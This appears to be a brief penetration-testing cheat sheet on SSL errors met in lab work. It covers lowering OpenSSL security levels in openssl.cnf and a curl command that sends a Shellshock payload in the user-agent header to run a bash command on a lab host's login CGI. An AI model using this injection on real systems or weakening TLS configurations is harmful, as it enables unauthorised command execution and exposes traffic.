# SSL Issues

* ssl errors and issues.. might need to change your ssl levels
* change it back after you are finished

```
> sslscan 10.10.10.7
> vim /etc/ssl/openssl.cnf

From: 

[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT@SECLEVEL=2

To:

[system_default_sect]
MinProtocol = None
CipherString = DEFAULT
```

## curl

```
curl: (60) SSL certificate problem: EE certificate key too weak
curl -vvv --ciphers DEFAULT@SECLEVEL=1 -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" https://10.129.114.238:10000/session_login.cgi
```

## burp

* When scanning for shellshock was too much trouble.. [burp ](https://pentest.mxhx.org/02-scanning/burp)did just fine!

##